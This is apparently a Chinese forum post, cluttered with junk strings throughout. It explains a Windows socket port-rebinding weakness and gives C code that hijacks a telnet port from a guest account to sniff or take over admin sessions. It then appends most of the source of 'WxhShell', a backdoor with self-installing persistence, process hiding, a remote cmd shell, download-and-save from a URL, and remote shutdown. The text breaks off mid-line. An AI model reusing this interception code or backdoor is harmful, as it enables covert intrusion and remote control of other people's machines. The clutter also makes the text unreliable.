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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: rAgb<D@,H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H?PaN)_6-+ HUZI7rC[=) saddr.sin_family = AF_INET; NO QM:tBO> svN&~@l saddr.sin_addr.s_addr = htonl(INADDR_ANY); s$A|>TOY fnB[b[ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O.i.<VD7 b}WU 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 t~3!| @3i >o.4sN@ 这意味着什么?意味着可以进行如下的攻击: V!uW\i/ U 1vZr{\ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ? g}G#j m;'ebkq 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _vm ~yKId =nGgk}Z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :wtK'ld ;O+=
6>W 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ka0MuQM 2)-Umq{]{ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G8}k9?26( kZ$2Uss 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 /V0[Urc@ c~SR@ZU 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Zcjh *mby fu0q #include )\Am:?RH; #include %g: 6QS| #include k..AP<hH #include H}?"2jF DWORD WINAPI ClientThread(LPVOID lpParam); }]<0!q &xB int main() %vUY|3G { a5caryZ"z WORD wVersionRequested; \xG_q>1_ DWORD ret; H\RejGR WSADATA wsaData; iSbPOC7 BOOL val; ?.Q$@Ih0 SOCKADDR_IN saddr; 5/8=Do]( SOCKADDR_IN scaddr; 5:|9pe) int err; y*=sboX SOCKET s; OYSq)!: SOCKET sc; V/`vX;% int caddsize; F%P"T%| HANDLE mt; zG{P5@:.R DWORD tid; L+N\B@ 0- wVersionRequested = MAKEWORD( 2, 2 ); Fs"i fn0 err = WSAStartup( wVersionRequested, &wsaData ); rU+3~|m if ( err != 0 ) { `J]e.K printf("error!WSAStartup failed!\n"); Qo32oT[DM return -1; y4U|~\] } (@->AJF1\ saddr.sin_family = AF_INET; F/ x2}' E5!vw@, //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X$e*s\4 :{+~i.* saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EHN(K- saddr.sin_port = htons(23); v*[UG^+) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) & .0A% {
&(oA/jFQ printf("error!socket failed!\n"); )(0if0D4 return -1; )r^vrCNy> } tn#cVB3 val = TRUE; UB/"&I uo //SO_REUSEADDR选项就是可以实现端口重绑定的 #9gx4U if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3~{I/ft { %N)B8A9kh printf("error!setsockopt failed!\n"); 9}%$j return -1; QEg[ } 6@TU9AZS` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l]4=W<N //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 b"uO BB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (?m{G Q ltfKqY- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^R=`<jx { udu<Nis4 ret=GetLastError(); hs[x\:})/ printf("error!bind failed!\n"); FY^2 Y return -1; /cb`%"Z } yI1:L
- listen(s,2); mFg$;F while(1) -=nk,cYn { Mh*r)B~%[ caddsize = sizeof(scaddr); ;Ax-f04gG //接受连接请求 r[4n2Mys sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sEFQ8S if(sc!=INVALID_SOCKET) GA[Ebzi { PQDLbSe)\ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n1J u=C if(mt==NULL) ?OLd
}8y { &EqLF printf("Thread Creat Failed!\n"); Ez;Q o8 break; iP0m1 } tGgxI D } q)i %*IY CloseHandle(mt); H0;Iv#S! } _8a;5hS closesocket(s); B~w$j/sWU WSACleanup(); }3^m>i*8 return 0; q0NFz mG } sqrLys_S DWORD WINAPI ClientThread(LPVOID lpParam) (da`aRVDp { C<
9x\JY% SOCKET ss = (SOCKET)lpParam; . :Skc SOCKET sc; cc|W1,q unsigned char buf[4096]; mY.v: SOCKADDR_IN saddr; >G:Q/3jh long num; x"{aO6M DWORD val; >\d&LLAe DWORD ret; <Z]#vrq //如果是隐藏端口应用的话,可以在此处加一些判断 7q+D}+ Xf //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 6;Z-Y>\c saddr.sin_family = AF_INET; )O]6dd saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2)n`Bd saddr.sin_port = htons(23); eR$@Q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6nZ]y&$G-k { :j]1wp+ printf("error!socket failed!\n"); LqbI/AQ) return -1; Q#\Nhc } --WQr]U/ val = 100; 8M99cx*K if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _~z
oMdT! { GGp.u@\r ret = GetLastError(); vN Bg&m return -1; (9Zvr4.f7 } Vh^y6U< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i>YS%&O? { 0
0N[
:% ret = GetLastError(); 7%y$^B7{ return -1; F\ B/q } d=D-s if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nGH6D2!F { +<a\0FsD printf("error!socket connect failed!\n"); 8K,X3a9 closesocket(sc); Az&>.* closesocket(ss); Q;]JVT1 return -1; 2 ? qC8eC } #*o0n>O while(1) tF:AnNp= { .nPOjwEx&Y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <Ht"t]u*Bn //如果是嗅探内容的话,可以再此处进行内容分析和记录 BU:;;iV8 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dua F?\vv num = recv(ss,buf,4096,0); ~CNB3r5R if(num>0) cnu&!>8V send(sc,buf,num,0); kelBqJ-,p else if(num==0) |0n )U( break; fx;rMGa num = recv(sc,buf,4096,0); ^Hx}.?1 if(num>0) > Vm}u`x send(ss,buf,num,0); NM{)liP
;8 else if(num==0) \u,CixV= break; ZC?~RXL( } 3"h*L8No closesocket(ss); 1#vu)a1+b closesocket(sc); 0Y8gUpe3P6 return 0 ; o%_-u
+ } cXq9k!I% ~P\4
N L]=]/>jQ6 ========================================================== ]3 "0#Y D_l$"35? 下边附上一个代码,,WXhSHELL Ca~8cQ .RroO_H
========================================================== Cog }a RdX+:!lD #include "stdafx.h" Qw0k-t0=4 hk?i0#7W #include <stdio.h> %r^tZ ;;l #include <string.h> Zz0er|9]Q #include <windows.h> 2XR!2_)O5 #include <winsock2.h> 9C7Npf?~M #include <winsvc.h> Fl)nmwOc #include <urlmon.h> TzKM~a# $n<1D -0!r #pragma comment (lib, "Ws2_32.lib") O ~5t[ #pragma comment (lib, "urlmon.lib") *$9U/ d jRsl/dmy #define MAX_USER 100 // 最大客户端连接数 |>ztx}\ #define BUF_SOCK 200 // sock buffer /we]i1-9 #define KEY_BUFF 255 // 输入 buffer Yi9Y`~J KpGx<+0p #define REBOOT 0 // 重启 _gMr]%Q #define SHUTDOWN 1 // 关机 ,a>Dv@$Y fq>{5ODO #define DEF_PORT 5000 // 监听端口 LVUA"'6V #w''WOk@ZG #define REG_LEN 16 // 注册表键长度 &<><4MQ #define SVC_LEN 80 // NT服务名长度 N8nt2r<h uihH")Mo // 从dll定义API Z(q]rX5" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |M?s[}ll typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ! VT$U6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S:z|"u:+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;=joQWNDm +s<6eHpm // wxhshell配置信息 *$O5.`] struct WSCFG {
,hf W2} int ws_port; // 监听端口 3[Q7'\ char ws_passstr[REG_LEN]; // 口令 1V]ws}XW int ws_autoins; // 安装标记, 1=yes 0=no @:im/SE char ws_regname[REG_LEN]; // 注册表键名 fln[Q2zl char ws_svcname[REG_LEN]; // 服务名 %<^^ Mw char ws_svcdisp[SVC_LEN]; // 服务显示名 B9,39rG/7+ char ws_svcdesc[SVC_LEN]; // 服务描述信息 zHKP$k8 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "$N$:B @U int ws_downexe; // 下载执行标记, 1=yes 0=no -"zW"v)\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" @(c^u; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iuj%.}
8d$|JN;) }; :^W}$7$T Z;N3mD+\ye // default Wxhshell configuration }bRn&)e struct WSCFG wscfg={DEF_PORT, >-V632(/{o "xuhuanlingzhe", (Q*x"G#4> 1, k5>UAea_ "Wxhshell", Pek[j)g} "Wxhshell", [PN2^ "WxhShell Service", --diG$x. "Wrsky Windows CmdShell Service", onmpMU7w "Please Input Your Password: ", 7:g_:}m 1, Y'000#+ " http://www.wrsky.com/wxhshell.exe", UU(Pg{DA6 "Wxhshell.exe" /t`|3Mw }; &_]G0~e w;Azxcw // 消息定义模块 rMVcoO@3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^O<v'\!z- char *msg_ws_prompt="\n\r? for help\n\r#>"; hlreeXv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; W\-`}{B_/ char *msg_ws_ext="\n\rExit."; fn/?I\ char *msg_ws_end="\n\rQuit."; 1.u^shc&| char *msg_ws_boot="\n\rReboot..."; M]X!D7 char *msg_ws_poff="\n\rShutdown..."; P0; y char *msg_ws_down="\n\rSave to "; :LB*l5\ CT_tJ char *msg_ws_err="\n\rErr!"; n CwA8AG char *msg_ws_ok="\n\rOK!"; R`$Y]@i&B S]=.p-Am char ExeFile[MAX_PATH]; > dVhIbG int nUser = 0; Jw=7eay$F HANDLE handles[MAX_USER]; U]+I P;YS int OsIsNt; @C^x&Sjm A",}Ikh='` SERVICE_STATUS serviceStatus; uX!6:v] SERVICE_STATUS_HANDLE hServiceStatusHandle; Wm" q8-<< >Q<XyAH~ // 函数声明 2.</n}g int Install(void); y|+5R5}K int Uninstall(void); g$2#TWW5 int DownloadFile(char *sURL, SOCKET wsh); 4$, W\d int Boot(int flag); I9L3Y@(f6m void HideProc(void); W4av?H int GetOsVer(void); 1!V[fPJ int Wxhshell(SOCKET wsl); HCrQ+r{g void TalkWithClient(void *cs); '\d
ldg#P int CmdShell(SOCKET sock); Lp"OXJ*es int StartFromService(void); d 4tL int StartWxhshell(LPSTR lpCmdLine); D=vw0Q_3Y3 )uAY_()/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sZ&6g<8#y VOID WINAPI NTServiceHandler( DWORD fdwControl ); AH/^v;- d3\?:}o, // 数据结构和表定义 ,]ySBAO SERVICE_TABLE_ENTRY DispatchTable[] = K_ymA,&() { K"t? {wscfg.ws_svcname, NTServiceMain}, !oXFDC3k {NULL, NULL} -1B. A }; "CC"J(&a KwMt@1Z // 自我安装 N;YFr int Install(void) dHiir&Rd9` { "
wT?$E char svExeFile[MAX_PATH]; ZY7-. HKEY key; ,J+L_S+B~ strcpy(svExeFile,ExeFile); [O ^/"Qk A0@,^|] // 如果是win9x系统,修改注册表设为自启动 |S).,B if(!OsIsNt) { mzM95yQ^Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kl~/tbf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r)-{~JA! RegCloseKey(key); { Mb<onW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jyF*JQjK4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e(^I.`9z RegCloseKey(key); _3%:m||,XP return 0; -,;woOG } G Wa6FX:/ } ~a3u['B } ^1c7\"{ else { ^{IZpT3 aqqo>O3 s // 如果是NT以上系统,安装为系统服务 b"#S92R+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .H M3s if (schSCManager!=0) h*JN0O<b { NL
` SC_HANDLE schService = CreateService TlyBpG=p ( "8ZV%%elp schSCManager, GK,{$SC+= wscfg.ws_svcname, iNl<<0a wscfg.ws_svcdisp, OW=3t#"7Kp SERVICE_ALL_ACCESS, UE5,Ml~X SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H!}L( gjEG SERVICE_AUTO_START, OMmfTlM% SERVICE_ERROR_NORMAL, L.;x=w svExeFile, bG"FN/vg NULL, OSUiS`k NULL, bp?TO]LH NULL, ]<YS7.pT NULL, zb[kRo&a0W NULL jCtk3No ); !<j4*av:G if (schService!=0) '>1M~B { C^'r>0 CloseServiceHandle(schService); &,PA+# CloseServiceHandle(schSCManager); .j,xh )v" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \6APU7S strcat(svExeFile,wscfg.ws_svcname); ?(B}w*G~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9cN@y<_I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O"TVxP: RegCloseKey(key); ,3}+t6O" return 0; }D)eS |B } #k>n5cR@0 } RWM~7^JA CloseServiceHandle(schSCManager); `g(#~0R } af6<w.i } (ESFR0 "N&ix*($ return 1; )q4nyT>M } GFbn>dY `hG`}G|^ // 自我卸载 :$yOic}y int Uninstall(void) !U(S?:hvW { .L#4#IO HKEY key; +N,Fq/x r/ATZAgHP if(!OsIsNt) { 9%ct if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6OC4?#96%' RegDeleteValue(key,wscfg.ws_regname); 3kGg;z6 RegCloseKey(key); }>y~P~`S: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BBX/ &d8n RegDeleteValue(key,wscfg.ws_regname); (kK8
Ox fF RegCloseKey(key); CP"5E?dcK return 0; j;j~R3B } 5B8/"G } zTG1 0 } Lnn^j#n else { 0VR,I{<.{ $[cB6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g0/R\ if (schSCManager!=0) ZZ!6O /M { loq2+( SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); si]MQ\i+ if (schService!=0) '5T:*Yh { xK1w->[ if(DeleteService(schService)!=0) { zKYN5|17 CloseServiceHandle(schService); 1T~`$zS7 CloseServiceHandle(schSCManager); }Sh@.3* return 0; id`9,IJx } d--6<_q CloseServiceHandle(schService); O6-';H:I]L } <Z]j89wzDZ CloseServiceHandle(schSCManager); T|YMU?4 } .bh7 } B=_5gZ4Y i}<fg*6@E return 1; /k\)q } %_5?/H@%3z 2ss*&BR. // 从指定url下载文件 JGzEm>_m int DownloadFile(char *sURL, SOCKET wsh) rF?QI*`Y( { l0',B*og HRESULT hr; b|k(:b-G&. char seps[]= "/"; ]nxSVKE4p char *token; [zrFW
g6N char *file; li')U char myURL[MAX_PATH]; YB{'L +Wbw char myFILE[MAX_PATH]; 9I1`* 0A URr{J}5 strcpy(myURL,sURL); !Xq5r8] token=strtok(myURL,seps); cSTL.QF while(token!=NULL) [-)BI|S: { RM25]hx file=token; q(#,X~0 token=strtok(NULL,seps); KC<K*UHPAH } Fl==k mI;\ UOh' GetCurrentDirectory(MAX_PATH,myFILE); `,c~M strcat(myFILE, "\\"); @GQtyl;q strcat(myFILE, file); b^P\Kky send(wsh,myFILE,strlen(myFILE),0); 1l}fX}5%I; send(wsh,"...",3,0); u@4khN:
^p hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -BrJ5]T>* if(hr==S_OK) ^w
jM u5f return 0; (gutDUO; else W=K+kB return 1; %W2
o`W$ |A)a
='Ap } 'L%)B-,n 4"+v:t)z6{ // 系统电源模块 hi ),PfAV int Boot(int flag) k,/2]{#53d { Gfle"_4m8 HANDLE hToken; T'14OU2N{Y TOKEN_PRIVILEGES tkp; (%]M a XE:bYzH if(OsIsNt) { =A/$[POr OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "!o|^nN, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mGUG tkp.PrivilegeCount = 1; 1W>0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uX&Tn1Kg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Lyjp if(flag==REBOOT) { P#2#i]- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4+N9Ylh return 0; B,{Q[ } |OBZSk1jp else { 0&6(y*
#Z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0(|36;x return 0; \'P79=AU } 8ao>]5Rs3 } kNUNh[ else { JjBlje if(flag==REBOOT) { dYp} R>+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2D{`AJ return 0; $"{I|UFC } "l-b(8n else { .$r7q[ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9Qc=D"' return 0; G-RE } 2NWQiSz } TZE;$:1vx> WeS$$:ro return 1; <ta#2 } j:J7 KA]5tVQA // win9x进程隐藏模块 J]$]zD void HideProc(void) h8? E+0 { [kPF J f zFO#oW,D HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -ob1_0 if ( hKernel != NULL ) w?A6S-z { 4mwA o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 690;\O ' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (p}N
cn. FreeLibrary(hKernel); |F52)<\ } G:!'hadw E9PD1ADR return; 2g_2$)2 } } !RBH(m% ](sT,' // 获取操作系统版本 U
jB5Xks int GetOsVer(void) 4lF?s\W: { bRK[u\, OSVERSIONINFO winfo; @hIHvLpRB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hGlRf_{ GetVersionEx(&winfo); 9i/VvW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g,""j` return 1; >`D$Jz, else ];au!
_o return 0; }1pG0V4 } $ 2PpG|q ~ZZJ/Cu // 客户端句柄模块 #H/suQZN"g int Wxhshell(SOCKET wsl) C(lGW,! { 2sNV09id SOCKET wsh; f|-%., struct sockaddr_in client; *S{fyYyM DWORD myID; k5]`:k6 rQ287y{ while(nUser<MAX_USER) Y@R9+7! { |GnqfD int nSize=sizeof(client); 'AJlkLqm#> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ''~#tK
f if(wsh==INVALID_SOCKET) return 1; @6:J$B~)u I\:(`)"r handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yOXL19d@p_ if(handles[nUser]==0) 0X[uXf closesocket(wsh); e95@4f^K2 else !_#2$J*s^D nUser++; M|uWSG } ;Zow C#j WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,T\)%q \rY<DxtOq return 0; :ZP`Y%dt' } Y<EdFzle %$H~ // 关闭 socket Z/w "zCd void CloseIt(SOCKET wsh) }Gg:y? { 25CO_ closesocket(wsh); =%+o4\N, nUser--; #>@~3kGg ExitThread(0); pX v@QD#! } WyDL ah^/ ?R VY%s;g // 客户端请求句柄 `U[s d*C" void TalkWithClient(void *cs) T.kQ] h2ZG { X9oxni# P]b *hC SOCKET wsh=(SOCKET)cs; I!OV+utF char pwd[SVC_LEN]; ^wm>\o;
char cmd[KEY_BUFF]; us
TPr char chr[1]; HHU0Nku@ho int i,j; 3A>Bnb Az"(I>VfD while (nUser < MAX_USER) { j9G1
_ }HC6m{vH( if(wscfg.ws_passstr) { lyYi2& % if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3
2MdDa //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hp!c\z; //ZeroMemory(pwd,KEY_BUFF); nNJMQb'K i=0; [TFd|ywn while(i<SVC_LEN) { X[{tD# Ug1n4X3FKn // 设置超时 ?6=u[))M& fd_set FdRead; 8Q2qroT struct timeval TimeOut; eub2[, FD_ZERO(&FdRead); &>]c"?C* FD_SET(wsh,&FdRead); 1>"[b8a/ TimeOut.tv_sec=8; /PuN+M TimeOut.tv_usec=0; ,|r%tNh<8$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vm
y?8E6+ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9< $n'g ToVi; if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z+G.v=2q< pwd =chr[0]; &+v!mw > if(chr[0]==0xd || chr[0]==0xa) { ,fa' pwd=0; BD(Y=g break; |)vC^=N{+ } ][IEzeI_LN i++;
!8V } wG\ +C'&~ L~PBD?l // 如果是非法用户,关闭 socket 6yN8(&` if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w#!^wN } th?w&;L -J<{NF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c\\'x\J7 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z9B""ws ^DWvzfj while(1) { PS=N]e7k' >&z=ktB ZeroMemory(cmd,KEY_BUFF); UbnX%2TW Tt.#O~2:9 // 自动支持客户端 telnet标准 ZVin+ z j=0; ls928 while(j<KEY_BUFF) { =
@EN]u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H`:2J8 cmd[j]=chr[0]; z{N~AaY if(chr[0]==0xa || chr[0]==0xd) { Fzc8) *w cmd[j]=0; eq!>~: # break; N-9Vx#i } z3bRV{{YqN j++; R|&Rq(ow" } w I7iE4\vz R'udC} // 下载文件 k"z ~> if(strstr(cmd,"http://")) { fK %${ send(wsh,msg_ws_down,strlen(msg_ws_down),0); nsM=n}$5x if(DownloadFile(cmd,wsh)) YXi'^GU@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); VPh0{(O^= else C;UqLMrOI send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {#_CzI.0f } e` QniTkT else { DT Cwf XB.xIApmy switch(cmd[0]) { >STAPrBp+ hn-!W;j // 帮助 P5K=S.g case '?': { zJ=lNb?q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s<XAH7?0 break; RnaxRnXVR } AVnH|31dC~ // 安装 i0TbsoKh: case 'i': { %2;Nj;
J$ if(Install()) X>la!}sV send(wsh,msg_ws_err,strlen(msg_ws_err),0); bih%hqny else nZbINhls send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yZ:AJNb break; kF@Z4MB}yr } =<;C5kSD // 卸载 wwuM!Z+ case 'r': { F{*h~7D-| if(Uninstall()) sc0.!6^'V send(wsh,msg_ws_err,strlen(msg_ws_err),0); #hZ`r5GvTj else h]>QGX[kC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #lY_XV. break; "M!]t,?S } 1
O?bT,"b // 显示 wxhshell 所在路径 ^cnTZzT#Q case 'p': { J85S'cwZZ char svExeFile[MAX_PATH]; BI| TM2oa strcpy(svExeFile,"\n\r"); Dx5X6 t9= strcat(svExeFile,ExeFile); JE*d- send(wsh,svExeFile,strlen(svExeFile),0); $VxKv7: break; MtD0e@ } Vm*E^ v // 重启 _yRD*2 !; case 'b': { ;Zy[2M send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lS96Z3k"SB if(Boot(REBOOT)) 5<>"d :9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); YZk.{#^ c else { W5Uw=!LdEY closesocket(wsh); rk-GQ#SKU ExitThread(0); S
aH':UN } &~aS24c break; N`HiNb
[ } vk4Q2P // 关机 %#<MCiaK case 'd': { 0NF=7 j send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sR4B/1'E if(Boot(SHUTDOWN)) )kT.3
Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); <2SWfH1> else { -.OZ closesocket(wsh); gkmV;0 ExitThread(0); WS ^,@>A } =z!^OT6eb break; ,rS?^"h9 } f#kT?!sP // 获取shell |[)n.N65= case 's': { RKPX*(i~ CmdShell(wsh); IG Ax+3V closesocket(wsh); hS1I ;*t ExitThread(0); $Jo4n>/ break; [jv+Of
IZ } @h9QfJ_f // 退出 fKW)h?.Kd case 'x': { aka)#0l . send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5P{[8PZxbV CloseIt(wsh); w{*PZb4 break; ~1&WR`U } Q2!5 // 离开 EsS$th)d case 'q': { X'88W- send(wsh,msg_ws_end,strlen(msg_ws_end),0); PJYUD5 closesocket(wsh); ` {qt4zd0 WSACleanup(); 9:*[Q"v exit(1); q
BIekQT break; HbRvU}C1 } 4.p:$/GTS } /9=r.Vxh } guG&3{&\s }K5okxio // 提示信息 s"XwO8yhM if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TlowEh8r } ' 55G:r39 } d'"|Qg_' +0?1"2 return; !S%0#d2 } 'b0r?A~c= ~yt 7L,OQ // shell模块句柄 jfiUf1Mj int CmdShell(SOCKET sock) &)jq3 { {-lpYD^k3 STARTUPINFO si; pztfm' ZeroMemory(&si,sizeof(si)); O}w%$ mq si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QWnGolN si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dr(-k3ex PROCESS_INFORMATION ProcessInfo; L9<\vJ char cmdline[]="cmd"; d@ >i=l [ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '$c9 S[ return 0; xKl1DIN[ } 2kt0Rxg E#\Oe_eq~N // 自身启动模式 jo^c>ur int StartFromService(void) M\/hK2J# # { v3aPHf typedef struct ZSs@9ej { op\$(7<d- DWORD ExitStatus; 0-[naGz DWORD PebBaseAddress; d!UxFY@
DWORD AffinityMask; j!w{ DWORD BasePriority; B;?)X&n|X ULONG UniqueProcessId; _3:%b6&Pz ULONG InheritedFromUniqueProcessId; 6UqAs<c9 } PROCESS_BASIC_INFORMATION; bU}v@Uk P%)r4+at PROCNTQSIP NtQueryInformationProcess; !\<a2>4$T )AxD|A static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pY@QR?F\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q#G xo #G.eiqh$a HANDLE hProcess; J_h.7V PROCESS_BASIC_INFORMATION pbi; DnFzCJ *g,ls(r\[ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rVqQo`K\ if(NULL == hInst ) return 0; PMpq>$6b7 W2#<]]- g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _FYA? d} g_pGetModuleBaseName = 